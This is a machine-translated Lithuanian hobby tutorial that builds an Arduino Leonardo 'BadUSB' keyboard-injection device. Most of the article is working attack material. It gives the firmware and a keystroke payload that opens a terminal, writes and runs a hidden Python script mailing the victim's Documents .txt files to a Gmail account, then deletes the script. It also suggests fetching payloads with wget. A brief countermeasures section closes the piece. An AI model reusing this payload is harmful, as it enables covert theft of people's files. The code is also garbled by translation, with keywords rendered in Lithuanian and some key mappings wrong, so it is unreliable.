Turinys:
- 1 žingsnis: medžiagos
- 2 žingsnis: Įrenginio kūrimas
- 3 žingsnis: kaip tai veikia išsamiai
- 4 žingsnis: atsakomosios priemonės
Video: „Arduino“klaviatūros išnaudojimo demonstracija (HID) ir prevencija: 4 žingsniai (su paveikslėliais)
2024 Autorius: John Day | [email protected]. Paskutinį kartą keistas: 2024-01-30 10:48
Šiame projekte mes naudosime „arduino leonardo“, kad imituotume galimą USB ataką naudojant HID („humain“sąsajos įrenginį).
Aš sukūriau šią pamoką ne tam, kad padėtų įsilaužėliams, bet norėdamas parodyti jums tikrus pavojus ir kaip apsaugoti save nuo šių pavojų. Šis įrenginys nėra prietaisas, kurį galima naudoti bet kurioje programišių programišių platformoje, tai daugiau išsamios koncepcijos įrodymas.
Mes mokysimės šių dalykų:
- kaip naudoti „Arduino Leonardo“klaviatūrai imituoti
- kaip skaityti duomenis iš SD kortelių
- kaip sukurti „Python“scenarijų, kuris nuskaito failus ir siunčia jiems el
- kaip apsisaugoti nuo USB įsilaužimo įrenginių
1 žingsnis: medžiagos
Dalys:
1. Arduino leonardo
2. mikro USB kortelių skaitytuvas
3. kelių GB SD kortelė
4. mygtukas kaip šis (VCC, įžeminimas ir signalas)
5. moteriški-vyriški ir moteriški-moteriški trumpikliai
6. „micro USB“- USB kabelis
2 žingsnis: Įrenginio kūrimas
Prieš statybos instrukciją peržiūrėkime darbo principą:
„Arduino Leonardo“gali elgtis kaip žmogaus sąsajos įrenginys (HID), todėl gali imituoti pelę ir klaviatūrą. Mes naudosime šią funkciją norėdami atidaryti terminalą („UBUNTU Linux“) ir parašyti nedidelį scenarijų, kuris pateks į aplanką /Dokumentai vartotojo namų aplanke, nukopijuos.txt failus ten ir nusiųs juos kam nors. Jei norite sužinoti daugiau, patikrinkite kitą veiksmą.
Kadangi tai yra demonstracinis įrenginys, viskas yra labai paprasta, mes nieko nesiruošiame lituoti.
Statybos instrukcijos
Prieš pradėdami patikrinti pridėtus failus, pridedu „fritzing“schemas ir visus reikalingus failus
1. Surinkite komponentus:
* prijunkite mikro USB kabelį prie arduino
* Prijunkite raktinį jungiklį prie arduino (įžeminimo, vcc ir išvesties modulis prie D8)
* prijunkite kortelių skaitytuvą prie arduino (naudodami ICSP antraštę). „Arduino Leonardo“ICSP antraštė nėra prijungta prie skaitmeninių kaiščių, todėl turėsite prijungti kortelių skaitytuvą prie ICSP antraštės. Kai kuriuos ICSP brėžinius rasite čia: https://learn.sparkfun.com/tutorials/installing-an…. Prijunkite SS kaištį prie skaitmeninio kaiščio 10
2. Gaukite „arduino“kodą, galite klonuoti mano „arduino“saugyklą „github“: https://github.com/danionescu0/arduino ir eikite į projektus/keyboard_exploit arba gaukite jį iš apačios:
#include „Keyboard.h“
#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Miegas::"; String commandStartingPoint = "Komanda::"; int delayBetweenCommands = 10; const int mygtukasPin = 8; const int chipSelect = 10; int previousButtonState = AUKŠTAS; void setup () {pinMode (buttonPin, INPUT); Serial.begin (9600); Klaviatūra.begin (); if (! SD.begin (chipSelect)) {Serial.println ("Kortelė nepavyko arba jos nėra!"); grįžti; }} void loop () {int buttonState = digitalRead (buttonPin); if ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("Įkeltas!"); vėlavimas (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filenameOnCard); if (! dataFile) {Serial.println ("Nurodyto failo pavadinimo nėra SD kortelėje, patikrinkite failo vardąOnCard!"); } Styginių linija; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (eilutė); sendToKeyboard (eilutė); } dataFile.close (); } void sendToKeyboard (String line) {String workingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (line); grįžti; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Text:"); Serial.println (line); Klaviatūra.println (eilutė); Paspausk Enter(); grįžti; } Serial.println ("Komanda:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); Styginių komanda = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (komanda! = "") {Serial.print ("Komanda rasta:"); Serial.println (komanda); Keyboard.press (getCommandCode (komanda)); uždelsimas (delayBetweenCommands); }} Keyboard.releaseAll (); uždelsimas (delayBetweenCommands); } void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Sleeping for:"); Serial.println (sleepAmount); uždelsimas (sleepAmount); } char getCommandCode (eilutės tekstas) {char textCharacters [2]; text.toCharArray (textCharacters, 2); char kodas = textCharacters [0]; kodas = (tekstas == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: kodas; kodas = (tekstas == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: kodas; kodas = (tekstas == "KEY_LEFT_ALT")? KEY_LEFT_ALT: kodas; kodas = (tekstas == "KEY_UP_ARROW")? KEY_UP_ARROW: kodas; kodas = (tekstas == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: kodas; kodas = (tekstas == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: kodas; kodas = (tekstas == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: kodas; kodas = (tekstas == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: kodas; kodas = (tekstas == "KEY_BACKSPACE")? KEY_BACKSPACE: kodas; kodas = (tekstas == "KEY_TAB")? KEY_TAB: kodas; kodas = (tekstas == "KEY_RETURN")? KEY_RETURN: kodas; kodas = (tekstas == "KEY_ESC")? KEY_ESC: kodas; kodas = (tekstas == "KEY_INSERT")? KEY_INSERT: kodas; kodas = (tekstas == "KEY_DELETE")? KEY_DELETE: kodas; kodas = (tekstas == "KEY_PAGE_UP")? KEY_PAGE_UP: kodas; kodas = (tekstas == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: kodas; kodas = (tekstas == "KEY_HOME")? KEY_HOME: kodas; kodas = (tekstas == "KEY_END")? KEY_END: kodas; kodas = (tekstas == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: kodas; kodas = (tekstas == "KEY_F1")? KEY_F1: kodas; kodas = (tekstas == "KEY_F2")? KEY_F2: kodas; kodas = (tekstas == "KEY_F3")? KEY_F3: kodas; kodas = (tekstas == "KEY_F4")? KEY_F4: kodas; kodas = (tekstas == "KEY_F5")? KEY_F5: kodas; kodas = (tekstas == "KEY_F6")? KEY_F6: kodas; kodas = (tekstas == "KEY_F7")? KEY_F7: kodas; kodas = (tekstas == "KEY_F8")? KEY_F8: kodas; kodas = (tekstas == "KEY_F9")? KEY_F9: kodas; kodas = (tekstas == "KEY_F10")? KEY_F10: kodas; kodas = (tekstas == "KEY_F11")? KEY_F1: kodas; kodas = (tekstas == "KEY_F12")? KEY_F2: kodas;
grąžinimo kodas;
}
3. Įkelkite kodą į arduino, būtinai pasirinkite 9600 baudų spartą, nuoseklųjį prievadą ir arduino Leonardo
4. Formatuokite SD kortelę naudodami FAT16 arba FAT32
5. Jei klonavote „github“repo iš viršaus, nukopijuokite kortelėje esantį failą „hack.txt“, jei ne failas, pateiktas žemiau:
Komanda:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Miego režimas:: 300 Komanda:: KEY_INSERT importuoti smtplib import global, os iš os.path importuoti išplėstuvą iš el. Pašto. MIMEMultipart importuoja MIMEMultipart iš el. Pašto. MIMEBase importuoja MIMEBase iš el. Pašto. „MIMEText“importuoja „MIMEText“iš el. Pašto. Naudojant „COMMASPACE“, formato data importuojama iš el. Pašto importavimo kodavimo priemonių
smtp_user = 'siuntėjo_gmail_adresas'
smtp_pass = 'sender_gmail_password' to_address = 'Receive_address' scan_documents_location = 'Dokumentai'
subject = body = 'Failai iš įsilaužusio kompiuterio'
header = 'Kam: {0} nIš: {1} nTema: {2} n'.format (į_adresas, smtp_user, subject)
def sendMail (į, temą, tekstą, failus = ):
msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Tema'] = tema msg.attach (MIMEText (tekstas)) failams failuose: part = MIMEBase ('programa', "oktetas-srautas") part.set_payload (atidaryti (failas, "rb"). Skaityti ()) Encoders.encode_base64 (dalis) dalis. add_header ('Content-Disposition', 'attachment; filename = " % s"' % os.path.basename (failas)) msg.attach (dalis)
serveris = smtplib. SMTP ('smtp.gmail.com:587')
server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()
sendMail ([to_address], subject, body, glob.glob ("{0}/{1}/*. txt".format (expanduser ("~"), scan_documents_location)))
Miego režimas:: 50 komandų:: KEY_ESC miego režimas:: 100: x miego režimas:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Miego režimas:: 400 komandų:: KEY_LEFT_ALT, KEY_F4
6. Redaguokite šias eilutes:
smtp_user = 'sender_email_addr'
smtp_pass = 'sender_password' to_address = 'gavėjo_adresas'
Ir pakeiskite savo el. Pašto adresais
7. Išimkite kortelę ir įdėkite ją į arduino kortelių skaitytuvą
3 žingsnis: kaip tai veikia išsamiai
Kaip veiks ataka:
1. Paspaudus mygtuką, Leonardo nuskaitys sd kortelę naudodami SD kortelių skaitytuvą. Kortelėje bus specialus failas su raktais ir klavišų kombinacija. Failo pavadinimas yra „hack.txt“.
Faile gali būti neapdorotas tekstas ir jis bus perduotas klaviatūrai tokia, kokia yra.
Taip pat jame gali būti specialių komandų, tokių kaip „Miegas::“ir „Komanda::“.
Tokia eilutė:
Miego režimas:: 200 reiškia 200 ms miegą
Tokia eilutė:
Komanda:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t reiškia, kad kairysis klavišas „Ctrl“paspaustas, kairysis „Alt“paspaustas, „t“ir viskas atleista
Visus specialius raktus galite patikrinti čia:
2. Leonardo skaitys eilutes po eilutės, aiškins komandas ir imituos klaviatūros klavišus. Faile „hack.txt“yra raktų derinys, kuris atlieka šiuos veiksmus („UBUNTU Linux“):
a. atidaro terminalą (CTRL + ALT + T)
b. atidaro „python“failą, skirtą kurti naudojant „vi“(rašo „vi hack.py“
c. viduje rašo python scenarijų, kuris renka visus teksto failus dokumentų namų aplanke ir siunčia juos nurodytu „Gmail“adresu
d. paleidžia failą fone („nohup python hack.py &“)
e. ištrina failą (rm -rf hack.py)
f. uždaro terminalą (ALT + F4)
Visa tai vyksta per kelias sekundes ir nepalieka pėdsakų.
Patobulinimai ir trikčių šalinimas
* Galbūt pastebėjote, kad atidaręs terminalą rašau „python“failą. geresnis būdas tai pasiekti bus ją kažkur priglobti ir atsisiųsti naudojant komandą „wget some_url“, tada pervardyti į hack.py
* Taip pat galime atsisiųsti arba paleisti paruoštą operaciją tikslinei operacinei sistemai
* Prie modulio galima pridėti „wifi“, o įsilaužimus galima įkelti per „WIFI“
* galite naudoti arduino micro (kuris yra daug mažesnis) ir į jį įterpti išnaudojimo kodą (kad jis būtų mažesnis)
Apribojimai
1. Kadangi imituojamas įrenginys (klaviatūra ir pelė) neturi jokio grįžtamojo ryšio, mes nežinome, kas nutiks po to, kai bus išleista komanda, o tai reiškia, kad turime naudoti uždelsimus. Pavyzdžiui, aš duodu komandą atidaryti terminalą, bet nežinau, kada jis iš tikrųjų bus atidarytas, todėl turiu nurodyti savavališką vėlavimą, kad įsitikinčiau, jog po to įvesti simboliai nebus prarasti.
2. Mes galime susidurti su leidimų problemomis, pavyzdžiui, neturėdami prieigos prie USB prievado ar leidimo ką nors įdiegti
3. Leonardo spausdinimo greitis nėra toks didelis
4. Veiks tik su tiksline operacine sistema (mūsų atveju UBUNTU linux)
Kitame žingsnyje bandysime rasti būdų, kaip išnaudoti šiuos apribojimus, kad mūsų kompiuteris nebūtų nulaužtas
4 žingsnis: atsakomosios priemonės
1. USB prievadų išjungimas
-„Windows“galite patikrinti šią mokymo programą:
2. Į baltąjį sąrašą įtraukti USB įrenginiai:
- „Windows“:
2. Užrakinkite kompiuterį, kai nesate toli
3. Neprisijunkite kaip root (norint ką nors įdiegti reikia slaptažodžių)
4. Nuolat atnaujinkite save (įjungti automatiniai atnaujinimai)
Rekomenduojamas:
„HID“klaviatūros valdiklis „Project Diva Aracade Future Tone“: 5 žingsniai
„HID“klaviatūros valdiklis „Project Diva Aracade Future Tone“: „V-USB“yra mažos spartos USB bibliotekos sprendimas, skirtas AVR mikrovaldikliams. Tai leidžia mums sukurti HID įrenginius (klaviatūrą, pelę, žaidimų planšetę ir kt.) Naudojant AVR mikrovaldiklius. HID klaviatūros diegimas pagrįstas HID 1.11. Jis palaiko iki 6 mygtukų paspaudimų
Buitinių dujų nuotėkio prevencija naudojant „Arduino“.: 3 žingsniai
Buitinių dujų nuotėkio prevencija naudojant „Arduino“: Šioje instrukcijoje aš sukūriau prototipą, kuris automatiškai uždaro suskystintų dujų baliono rankenėlę, kai yra dujų nuotėkis. SND yra bekvapės ir dėl kvapo pridedama agentas, pavadintas „Ethyl Mercaptan“, kad jį būtų galima pastebėti, kai yra nuotėkis
„Ps2 Controller to Usb Hid“klaviatūros emuliatorius: 3 žingsniai
„Ps2 Controller to Usb Hid“klaviatūros emuliatorius: tai nedidelis projektas, skirtas sukurti programuojamą kompiuterio USB adapterį ps2 valdikliui. Tai kryžminė platforma. Aš tai padariau, nes turėjau problemų diegdamas įprastą programinės įrangos sprendimą (antimicro, joy2key ir kt.). Paaugliams biblioteka nerenka
Klaviatūros sąsaja su 8051 ir klaviatūros numerių rodymas 7 segmentuose: 4 žingsniai (su paveikslėliais)
Klaviatūros sąsaja su 8051 ir klaviatūros numerių rodymas 7 segmentuose: Šioje pamokoje aš jums pasakysiu, kaip galime sujungti klaviatūrą su 8051 ir rodyti klaviatūros numerius 7 segmentų ekrane
„Apple“aliuminio klaviatūros arba bet kurios kitos minkštos klaviatūros valymas: 5 žingsniai
„Apple“aliuminio klaviatūros valymas …. arba bet kuri kita minkšto prisilietimo klaviatūra: Tokios švarios, kaip jūs ar aš, galbūt bandysime išlaikyti aliuminio obuolių klaviatūras, po metų jie tampa nešvarūs. Ši instrukcija padės jums ją išvalyti. Būkite atsargūs, nes aš nesu atsakingas, jei jūsų klaviatūra sulūžta tai darant …. SUCKS F